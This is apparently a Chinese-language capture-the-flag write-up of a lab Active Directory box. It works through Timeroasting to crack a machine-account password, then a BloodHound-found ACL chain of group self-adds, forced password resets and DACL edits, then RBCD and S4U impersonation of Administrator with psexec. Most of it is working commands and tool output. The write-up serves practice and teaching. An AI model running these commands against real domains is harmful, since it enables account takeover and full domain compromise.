
0x01 初始枚举
首先使用 enum4linux-ng 对目标 IP 192.168.111.10 进行全方位的资产扫描。
❯ enum4linux-ng -A 192.168.111.10
ENUM4LINUX - next generation (v1.3.7)
==========================
| Target Information |
==========================
[*] Target ........... 192.168.111.10
[*] Username ......... ''
[*] Random Username .. 'ieiitopn'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)
=======================================
| Listener Scan on 192.168.111.10 |
=======================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
======================================================
| Domain Information via LDAP for 192.168.111.10 |
======================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: sec.org
=============================================================
| NetBIOS Names and Workgroup/Domain for 192.168.111.10 |
=============================================================
[+] Got domain/workgroup name: SEC
[+] Full NetBIOS names information:
- SEC <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
- AD <00> - B <ACTIVE> Workstation Service
- SEC <1c> - <GROUP> B <ACTIVE> Domain Controllers
- AD <20> - B <ACTIVE> File Server Service
- SEC <1b> - B <ACTIVE> Domain Master Browser
- MAC Address = 00-50-56-B1-EF-97
===========================================
| SMB Dialect Check on 192.168.111.10 |
===========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: true
SMB 2.0.2: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
=============================================================
| Domain Information via SMB session for 192.168.111.10 |
=============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[-] Could not enumerate domain information via unauthenticated SMB
[*] Enumerating via unauthenticated SMB session on 139/tcp
[-] SMB connection error on port 139/tcp: session failed
===========================================
| RPC Session Check on 192.168.111.10 |
===========================================
[*] Check for anonymous access (null session)
[-] Could not establish null session: STATUS_NOT_SUPPORTED
[*] Check for guest access
[-] Could not establish guest session: STATUS_NOT_SUPPORTED
[-] Sessions failed, neither null nor user sessions were possible
=================================================
| OS Information via RPC for 192.168.111.10 |
=================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[-] Skipping 'srvinfo' run, not possible with provided credentials
[+] After merging OS information we have the following result:
OS: unknown
OS version: not supported
OS release: null
OS build: null
Native OS: null
Native LAN manager: null
Platform id: null
Server type: null
Server type string: null
[!] Aborting remainder of tests since sessions failed, rerun with valid credentials
Completed after 4.30 seconds
关键点:
- 确认目标域名为
sec.org,FQDN 为ad.sec.org。 - LDAP 和 SMB 服务均正常开启。
- 未能通过匿名登录(Null Session)获取到敏感信息。
添加 host 解析
192.168.111.10 AD.sec.org sec.org AD
紧接着尝试通过 nxc(NetExec)利用 RID 爆破来枚举域用户,但遇到了预料之外的阻碍:
❯ nxc smb 192.168.111.10 --rid-brute
SMB 192.168.111.10 445 AD [*] x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB 192.168.111.10 445 AD [-] Error creating DCERPC connection: SMB SessionError: code: 0xc00000bb - STATUS_NOT_SUPPORTED - The request is not supported.
知识点拓展:STATUS_NOT_SUPPORTED (0xc00000bb)
在现代 Windows 域环境中,若目标机器完全禁用了 NTLM 认证,所有基于 NTLM 的连接尝试(如nxc的默认行为)都会返回此错误。这意味着后续的所有交互必须强制使用 Kerberos 认证,在此之前需要确保本地与 DC 的时间同步:ntpdate -u 192.168.111.10。
0x02 Timeroasting 攻击
结合题目名 Time & Machines 以及提示中的“时间在流动(Time is flowing)”,联想到一种针对机器账户的特殊攻击手段:Timeroasting。
Timeroasting 攻击原理
类似于 Kerberoasting,Timeroasting是一种针对 Active Directory 环境中计算机账户(machine accounts)的密码哈希窃取技术,但它巧妙地利用了 NTP(Network Time Protocol,网络时间协议) 而非 Kerberos 服务票据。
Kerberoasting 的核心是:攻击者(已认证域用户)请求带有 SPN(Service Principal Name)的 Kerberos 服务票据(TGS),这些票据用服务账户的 NT hash 加密,然后离线破解弱口令服务账户。
Timeroasting 则更“隐秘”和“零凭证”:它滥用 Microsoft 专有的 MS-SNTP(Microsoft Secure NTP)扩展机制——域内计算机通过 NTP 与域控制器(DC)同步时间时,DC 会为响应附加一个 Message Authentication Code(MAC),以防止时间欺骗攻击。这个 MAC 使用计算机账户密码的 NTLM hash(即 MD4 哈希)作为密钥,结合 NTP 响应体作为盐值计算得出(常见遗留模式:MD5(MD4(password) || NTP-response))。
关键漏洞在于:
- NTP 请求是 无需认证 的(unauthenticated)。
- 攻击者可以任意指定 RID(Relative Identifier,账户的相对标识符,通常从 1000+ 开始递增),DC 会查找对应计算机账户,并用其密码 hash 计算 MAC 并返回。
- 结果:攻击者无需任何域凭据,就能从 DC 的 NTP 响应中提取出大量计算机账户的 “salted NT hash”(本质上是可离线破解的密码等价物)。
攻击流程简述:
- 攻击者向 DC 的 NTP 端口(UDP 123)发送 MS-SNTP 请求,指定目标 RID。
- DC 返回 NTP 时间 + MAC(用对应计算机账户的 NT hash 计算)。
- 提取 MAC + NTP 响应体(作为盐),格式类似 Hashcat mode 31300(MS-SNTP)。
- 离线破解:如果计算机账户密码是弱口令(如默认、legacy 兼容、公司命名规则生成的短密码,如 hostname 小写、Password123、bmhtaw 等),就能快速恢复明文密码。
与 Kerberoasting 的主要区别:
- 认证要求:Kerberoasting 需要域内有效用户凭据(至少一个低权限账户);Timeroasting 完全零凭证(unauthenticated),只需 DC 的 NTP 端口开放。
- 目标对象:Kerberoasting 针对有 SPN 的服务账户(常为用户账户);Timeroasting 专攻 计算机账户($ 结尾)和信任账户(trust accounts),因为它们参与 NTP 认证。
- 检测难度:Timeroasting 流量伪装成正常 NTP 时间同步,隐蔽性更高;Kerberoasting 会产生大量 TGS 请求,较易被 EDR / Defender for Identity 检测。
- 破解难度:两者都依赖弱口令,但 Timeroasting 的 hash 格式特殊(需特定工具如 timeroast.py ,Hashcat 31300),且只输出 RID 而非计算机名(需额外映射)。
- 适用场景:Timeroasting 常用于初始 foothold(拿到一台弱机器账户密码 → 横向),尤其在 NTLM 被禁、Kerberoasting/AS-REP 被修补的 hardening 环境中。
使用 nxc 的 timeroast 模块进行尝试:
❯ nxc smb `IP` -d sec.org -M timeroast
SMB 192.168.111.10 445 AD [*] x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
TIMEROAST 192.168.111.10 445 AD [*] Starting Timeroasting...
TIMEROAST 192.168.111.10 445 AD 1000:$sntp-ms$9641221f798bb0587e2c5aa440250e88$1c0111e900000000000a00114c4f434ced31c9c434cbdce2e1b8428bffbfcd0aed31c9db2cdc3017ed31c9db2cdc4794
TIMEROAST 192.168.111.10 445 AD 1601:$sntp-ms$dab9a8b344c036bc887e2f480eb3b202$1c0111e900000000000a00144c4f434ced31c9c436af7751e1b8428bffbfcd0aed31c9decaa727f7ed31c9decaa74e8e
TIMEROAST 192.168.111.10 445 AD 2115:$sntp-ms$7d144faed4dfc2173da51833bf09b241$1c0111e900000000000a00164c4f434ced31c9c435c4c9c9e1b8428bffbfcd0aed31c9e1e1cc8224ed31c9e1e1cd0353
TIMEROAST 192.168.111.10 445 AD 2109:$sntp-ms$6464779eb864cf4bb712beacc15fa695$1c0111e900000000000a00164c4f434ced31c9c434aa920fe1b8428bffbfcd0aed31c9e1d88184cfed31c9e1d881a4b0
TIMEROAST 192.168.111.10 445 AD 2107:$sntp-ms$e1203a24f1706036389664ef062d4ed6$1c0111e900000000000a00164c4f434ced31c9c43565a2f2e1b8428bffbfcd0aed31c9e1d56593d8ed31c9e1d565ab55
TIMEROAST 192.168.111.10 445 AD 2106:$sntp-ms$7f9cf1f4bd1fe9f94da5ce115eab17c3$1c0111e900000000000a00164c4f434ced31c9c437f2c153e1b8428bffbfcd0aed31c9e1d3da1ec4ed31c9e1d3da3494
TIMEROAST 192.168.111.10 445 AD 2116:$sntp-ms$4cd3db6cf06851a5ab047edc6e9987b6$1c0111e900000000000a00164c4f434ced31c9c4374c843de1b8428bffbfcd0aed31c9e1e3549de7ed31c9e1e35511aa
TIMEROAST 192.168.111.10 445 AD 2117:$sntp-ms$7664c5dbd65ed86d431d474d7731b044$1c0111e900000000000a00164c4f434ced31c9c4350b01bbe1b8428bffbfcd0aed31c9e1e4ea1eeded31c9e1e4ea4583
TIMEROAST 192.168.111.10 445 AD 2118:$sntp-ms$8425e9ad80afa4ed1fbbe2892cd48b92$1c0111e900000000000a00164c4f434ced31c9c43671c53fe1b8428bffbfcd0aed31c9e1e650ead4ed31c9e1e6510907
TIMEROAST 192.168.111.10 445 AD 2108:$sntp-ms$5ef2b86fa1ebaf89fe77d796fa535b12$1c0111e900000000000a00164c4f434ced31c9c436e76a07e1b8428bffbfcd0aed31c9e1d6e75aeded31c9e1d6e7726a
TIMEROAST 192.168.111.10 445 AD 2112:$sntp-ms$7fc71fcff964e311f852bfe50697520b$1c0111e900000000000a00164c4f434ced31c9c4351d9465e1b8428bffbfcd0aed31c9e1dd0d22feed31c9e1dd0d38cd
TIMEROAST 192.168.111.10 445 AD 2111:$sntp-ms$9682605806268310de8a3f4235578225$1c0111e900000000000a00164c4f434ced31c9c437c11ae7e1b8428bffbfcd0aed31c9e1db97e711ed31c9e1db98343e
TIMEROAST 192.168.111.10 445 AD 2110:$sntp-ms$c92cb79138b7207a0f10d8ecf9f857c9$1c0111e900000000000a00164c4f434ced31c9c4362ebd82e1b8428bffbfcd0aed31c9e1da05b043ed31c9e1da05d023
TIMEROAST 192.168.111.10 445 AD 2113:$sntp-ms$fa1a53ee4cb99c3e2fdfe7b8a330966c$1c0111e900000000000a00164c4f434ced31c9c436c28e85e1b8428bffbfcd0aed31c9e1deb20e04ed31c9e1deb2349b
TIMEROAST 192.168.111.10 445 AD 2114:$sntp-ms$5176955b4a971ec4511b6107dedbdf52$1c0111e900000000000a00164c4f434ced31c9c4341e5987e1b8428bffbfcd0aed31c9e1e0263d81ed31c9e1e0269164
TIMEROAST 192.168.111.10 445 AD 2119:$sntp-ms$cd4578603517bf4989dcf00fe6c7a6a5$1c0111e900000000000a00164c4f434ced31c9c43408dfa2e1b8428bffbfcd0aed31c9e1e80096feed31c9e1e800bd95
TIMEROAST 192.168.111.10 445 AD 2120:$sntp-ms$7ca8190da2bc0380ca223fed4a51d9da$1c0111e900000000000a00164c4f434ced31c9c4356ed4c9e1b8428bffbfcd0aed31c9e1e9668dd3ed31c9e1e966b2bc
TIMEROAST 192.168.111.10 445 AD 2121:$sntp-ms$5ed6271624c387bacb6c99855ddb5fb2$1c0111e900000000000a00164c4f434ced31c9c436ff8d13e1b8428bffbfcd0aed31c9e1eaf73db9ed31c9e1eaf76450
对提取出的 Hash 进行清洗,并使用 hashcat 进行批量离线爆破。
grep -oP '\$sntp-ms\$[^\s]+' output.txt > hashes.txt
最终成功爆破出 RID 为 1601 的账户密码 bmhtaw

根据提示,果断猜测对应的机器账户名为 mht$。因为靶机禁用 NTLM,这里采用 kerbrute 工具去验证:
❯ kerbrute passwordspray user.txt 'bmhtaw' -d sec.org --dc 192.168.111.10
验证后确认身份有效

随后请求 TGT 票据并注入环境变量:
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/mht\$:'bmhtaw'
❯ export KRB5CCNAME=mht$.ccache
0x03 域内枚举与权限分析
获取初始凭据后,利用 Kerberos 认证(使用 -k 参数)再次调用 nxc 枚举域内的用户、组以及机器账户。
❯ nxc smb 192.168.111.10 -k --users
SMB 192.168.111.10 445 AD [*] x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB 192.168.111.10 445 AD -Username- -Last PW Set- -BadPW- -Description-
SMB 192.168.111.10 445 AD Administrator 2026-01-09 05:00:06 0 管理计算机(域)的内置帐户
SMB 192.168.111.10 445 AD Guest <never> 0 供来宾访问计算机或访问域的内置帐户
SMB 192.168.111.10 445 AD krbtgt 2026-01-09 01:55:41 0 密钥发行中心服务帐户
SMB 192.168.111.10 445 AD DefaultAccount <never> 0 系统管理的用户帐户。
SMB 192.168.111.10 445 AD AA 2026-01-12 02:59:25 0 AA
SMB 192.168.111.10 445 AD BB 2026-02-07 15:16:49 0 BB
SMB 192.168.111.10 445 AD GG 2026-01-12 03:03:41 0 GG
SMB 192.168.111.10 445 AD KK 2026-01-12 03:04:10 0 KK
SMB 192.168.111.10 445 AD QQ 2026-01-12 03:23:27 0 QQ
SMB 192.168.111.10 445 AD ZZ 2026-02-07 15:35:52 0 ZZ
SMB 192.168.111.10 445 AD [*] Enumerated 10 local users: SEC
❯ nxc smb 192.168.111.10 -k --rid-brute
SMB 192.168.111.10 445 AD [*] x64 (name:AD) (domain:sec.org) (signing:True) (SMBv1:True) (NTLM:False)
SMB 192.168.111.10 445 AD 498: SEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 500: SEC\Administrator (SidTypeUser)
SMB 192.168.111.10 445 AD 501: SEC\Guest (SidTypeUser)
SMB 192.168.111.10 445 AD 502: SEC\krbtgt (SidTypeUser)
SMB 192.168.111.10 445 AD 503: SEC\DefaultAccount (SidTypeUser)
SMB 192.168.111.10 445 AD 512: SEC\Domain Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 513: SEC\Domain Users (SidTypeGroup)
SMB 192.168.111.10 445 AD 514: SEC\Domain Guests (SidTypeGroup)
SMB 192.168.111.10 445 AD 515: SEC\Domain Computers (SidTypeGroup)
SMB 192.168.111.10 445 AD 516: SEC\Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 517: SEC\Cert Publishers (SidTypeAlias)
SMB 192.168.111.10 445 AD 518: SEC\Schema Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 519: SEC\Enterprise Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 520: SEC\Group Policy Creator Owners (SidTypeGroup)
SMB 192.168.111.10 445 AD 521: SEC\Read-only Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 522: SEC\Cloneable Domain Controllers (SidTypeGroup)
SMB 192.168.111.10 445 AD 525: SEC\Protected Users (SidTypeGroup)
SMB 192.168.111.10 445 AD 526: SEC\Key Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 527: SEC\Enterprise Key Admins (SidTypeGroup)
SMB 192.168.111.10 445 AD 553: SEC\RAS and IAS Servers (SidTypeAlias)
SMB 192.168.111.10 445 AD 571: SEC\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 192.168.111.10 445 AD 572: SEC\Denied RODC Password Replication Group (SidTypeAlias)
SMB 192.168.111.10 445 AD 1000: SEC\AD$ (SidTypeUser)
SMB 192.168.111.10 445 AD 1101: SEC\DnsAdmins (SidTypeAlias)
SMB 192.168.111.10 445 AD 1102: SEC\DnsUpdateProxy (SidTypeGroup)
SMB 192.168.111.10 445 AD 1601: SEC\mht$ (SidTypeUser)
SMB 192.168.111.10 445 AD 1602: SEC\Protected Group (SidTypeGroup)
SMB 192.168.111.10 445 AD 1603: SEC\Operations (SidTypeGroup)
SMB 192.168.111.10 445 AD 1605: SEC\AA (SidTypeUser)
SMB 192.168.111.10 445 AD 1606: SEC\BB (SidTypeUser)
SMB 192.168.111.10 445 AD 1607: SEC\GG (SidTypeUser)
SMB 192.168.111.10 445 AD 1608: SEC\KK (SidTypeUser)
SMB 192.168.111.10 445 AD 1609: SEC\Dev (SidTypeGroup)
SMB 192.168.111.10 445 AD 1610: SEC\IT (SidTypeGroup)
SMB 192.168.111.10 445 AD 1611: SEC\QQ (SidTypeUser)
SMB 192.168.111.10 445 AD 2101: SEC\ZZ (SidTypeUser)
SMB 192.168.111.10 445 AD 2105: SEC\Dele (SidTypeGroup)
SMB 192.168.111.10 445 AD 2106: SEC\DANCINGTIME$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2107: SEC\Dev01$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2108: SEC\Dev02$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2109: SEC\Dev03$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2110: SEC\Dev04$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2111: SEC\Dev05$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2112: SEC\HR01$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2113: SEC\HR02$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2114: SEC\HR03$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2115: SEC\HR04$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2116: SEC\HR05$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2117: SEC\IT01$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2118: SEC\IT02$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2119: SEC\IT03$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2120: SEC\IT04$ (SidTypeUser)
SMB 192.168.111.10 445 AD 2121: SEC\IT05$ (SidTypeUser)
关键发现:
- 存在多个功能性安全组:
Operations、Dev、IT、Dele等。 - 存在一个名为
DANCINGTIME$的可疑机器账户。
随后通过 BloodHound 收集域内关系图谱,分析权限提升路径:
❯ bloodhound-python -c ALL --zip -d sec.org -u 'mht$' -p bmhtaw -ns 192.168.111.10 -k -no-pass
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: sec.org
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: ad.sec.org
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: ad.sec.org
INFO: Found 11 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: AD.sec.org
INFO: Done in 00M 20S
INFO: Compressing output into 20260207230049_bloodhound.zip
在 BloodHound 中将 mht$ 标记为已控制(Owned)

并寻找通往域管的最短路径。发现了一条环环相扣的 ACL 利用链:

0x04 ACL权限提升
这条路径的域内横向移动与垂直提权逻辑非常的清晰:
- MHT$ -> Operations:
MHT$对Operations组有AddSelf权限。 - Operations -> BB:
Operations组成员可以对用户BB执行ForceChangePassword。 - BB -> DANCINGTIME$: 用户
BB对机器DANCINGTIME$拥有WriteDacl权限。 - DANCINGTIME$ -> DELE: 机器
DANCINGTIME$对DELE组拥有WriteDacl。 - DELE -> ZZ:
DELE组对用户ZZ有重置密码权限。 - ZZ -> AD$ (DC): 用户
ZZ对域控AD$拥有AddAllowedToAct权限,这是 RBCD 攻击的完美入口。
第一阶段:利用 AddSelf 渗透 Operations 组
攻击逻辑:MHT$ 账户对 Operations 组拥有 AddSelf 权限。这允许该机器账户在不需要该组管理员干预的情况下,自行加入该组。

# 将 mht$ 加入 operations 组
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' add groupMember operations 'mht$'
[+] mht$ added to operations
知识点分析:AddSelf (Self) 权限
AddSelf权限允许主体(User/Computer)将自己添加到目标组的成员列表中。在实战中,这种权限往往比直接的GenericAll更隐蔽,因为它看起来像是合法的成员变动。
第二阶段:强制重置用户 BB 凭据
攻击逻辑:作为 Operations 组的成员,MHT$ 现在继承了对用户 BB 的 ForceChangePassword 权限。

# 强制修改 BB 的密码为 NewPass123!
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'BB' 'NewPass123!'
[+] Password changed successfully!
知识点分析:ForceChangePassword (Extended Right)
这是一种扩展权限,允许攻击者在不知道旧密码的情况下直接设置新密码。注意:在真实环境中,这会破坏目标账户的正常使用,通常建议在非活跃时间操作。
第三阶段:修改机器 DANCINGTIME$ 的安全描述符
攻击逻辑:获取 BB 的票据后,利用其对机器账户 DANCINGTIME$ 的 WriteDacl 权限,授予 MHT$ 对该机器的完全控制权(GenericAll)。

# 获取 BB 的 TGT 票据并注入环境
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/BB:'NewPass123!'
❯ export KRB5CCNAME=BB.ccache
# 修改 ACL,赋予 mht$ 对该机器账户的 GenericAll 权限
❯ bloodyAD --host ad.sec.org -d sec.org -u 'BB' -p '' -k add genericAll 'DANCINGTIME$' 'mht$'
[+] mht$ has now GenericAll on DANCINGTIME$
第四阶段:利用机器账户渗透 DELE 组
攻击逻辑:DANCINGTIME$ 对 DELE 组拥有 WriteDacl 权限。我们首先通过 MHT$(此时已拥有其 GenericAll)重置 DANCINGTIME$ 的密码,获取其身份,随后将 MHT$ 塞进 DELE 组。

# 重置 DANCINGTIME$ 密码并获取其 TGT
❯ bloodyAD --host ad.sec.org -k -d sec.org -u 'mht$' -p 'bmhtaw' set password 'DANCINGTIME$' 'NewPass123!'
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/DANCINGTIME$:'NewPass123!'
❯ export KRB5CCNAME=DANCINGTIME$.ccache
# 以 DANCINGTIME$ 身份,将 mht$ 加入 DELE 组
❯ bloodyAD --host ad.sec.org -k -u 'DANCINGTIME$' -p 'NewPass123!' -d sec.org add groupMember 'DELE' 'mht$'
[+] mht$ added to DELE
知识点分析:WriteDacl
WriteDacl是 ACL 攻击中的核心。它允许攻击者修改目标对象的访问控制列表(DACL)。最直接的利用方式就是给自己加上GenericAll或者将自己设为该对象的“拥有者”。
第五阶段:接管关键用户 ZZ
攻击逻辑:DELE 组成员拥有对用户 ZZ 的密码重置权限。

# 切换回 mht$ 身份执行操作
❯ export KRB5CCNAME=mht$.ccache
❯ bloodyAD --host ad.sec.org -k -u 'mht$' -p 'bmhtaw' -d sec.org set password 'ZZ' 'NewPass123!'
[+] Password changed successfully!
第六阶段:RBCD 委派攻击
攻击逻辑:用户 ZZ 对域控 AD$ 拥有 AddAllowedToAct 权限,这说明该账户拥有修改目标计算机对象属性 msDS-AllowedToActOnBehalfOfOtherIdentity 的权限。这是配置 基于资源的约束性委派 (RBCD) 的先决条件,通过修改域控属性,我们让域控“信任”机器账户 MHT$ 可以代表任何用户访问它。

# 获取 ZZ 的 TGT 票据
❯ getTGT.py -dc-ip 192.168.111.10 sec.org/ZZ:'NewPass123!'
❯ export KRB5CCNAME=ZZ.ccache
# 在域控 AD$ 上配置 RBCD,允许 mht$ 模拟委派
❯ bloodyAD --host ad.sec.org -k -u ZZ -p 'NewPass123!' -d sec.org add rbcd 'AD$' 'mht$'
[+] mht$ can now impersonate users on AD$ via S4U2Proxy
知识点分析:msDS-AllowedToActOnBehalfOfOtherIdentity
这一属性存储在“资源”(即本例中的域控)上。当我们成功修改该属性后,就可以通过 S4U2self 和 S4U2proxy 扩展协议,利用MHT$申请一张模拟Administrator访问域控服务的票据。
0x05 模拟域管拿下 flag
最后一步,使用 getST.py 执行 S4U 链条。我们模拟 Administrator 请求 cifs(文件共享)服务的票据,并利用该票据实现最终的远程执行。
S4U 协议的两步走战略
第一步:S4U2self (获取伪装身份)
通常情况下,Kerberos 需要用户输入密码获取 TGT。但作为“服务”,mht$ 可能需要知道谁在访问它。
- 动作:
mht$向 KDC(域控)发起请求:“我是mht$,虽然Administrator没给我发请求,但我现在想代表他生成一张访问我自己的票据。” - 结果:KDC 返回一张
Administrator访问mht$的服务票据(ST)。 - 关键点:这一步不需要
Administrator的密码。
第二步:S4U2proxy (执行身份委派)
现在 mht$ 手里有一张 Administrator 发给自己的票据了。
- 动作:
mht$再次找到 KDC,出示刚才那张票据,并说:“看,Administrator已经访问我了(其实是自导自演)。现在我要把他的身份委派下去,请给我一张他访问AD$服务的票据。” - 判定:KDC 会检查
AD$的属性。如果AD$的msDS-AllowedToActOnBehalfOfOtherIdentity字段里写了mht$的名字(这就是你之前用ZZ账户做的修改),KDC 就会认为:“没问题,AD$确实信任mht$。” - 结果:KDC 颁发一张
Administrator访问AD$的 cifs 服务票据。
# 执行 S4U2self & S4U2proxy 组合拳
❯ export KRB5CCNAME=mht$.ccache
❯ getST.py -spn 'cifs/ad.sec.org' -impersonate Administrator -dc-ip 192.168.111.10 -k -no-pass sec.org/mht$
[*] Impersonating Administrator
[*] Saving ticket in Administrator@cifs_ad.sec.org@sec.org.ccache
# 导入最终票据,使用 psexec 拿下 DC
❯ export KRB5CCNAME=Administrator@cifs_ad.sec.org@sec.org.ccache
❯ psexec.py -k -no-pass 'ad.sec.org'


0x06 总结
这个靶机的核心难点在于 NTLM 禁用的真实场景模拟,强制要求攻击者熟悉 Kerberos 认证流程。
利用链梳理:
- 信息枚举:发现 NTLM 禁用,转向 Kerberos 爆破。
- 入口突破:通过 Timeroasting 暴力破解机器账户
mht$。 - 权限挖掘:利用 BloodHound 识别长达 6 跳的 ACL 滥用链。
- 权限接管:通过 RBCD 完成最后的委派攻击。
攻击路径:
Timeroasting (mht$) —> AddSelf (Operations) —> ForceChangePassword (BB) —> WriteDacl (DANCINGTIME$) —> WriteDacl (DELE) —> ForceChangePassword (ZZ) —> RBCD (AD$) —> DOMAIN ADMIN
整体是一台很不错的靶机~
附首杀证明:

跳到内容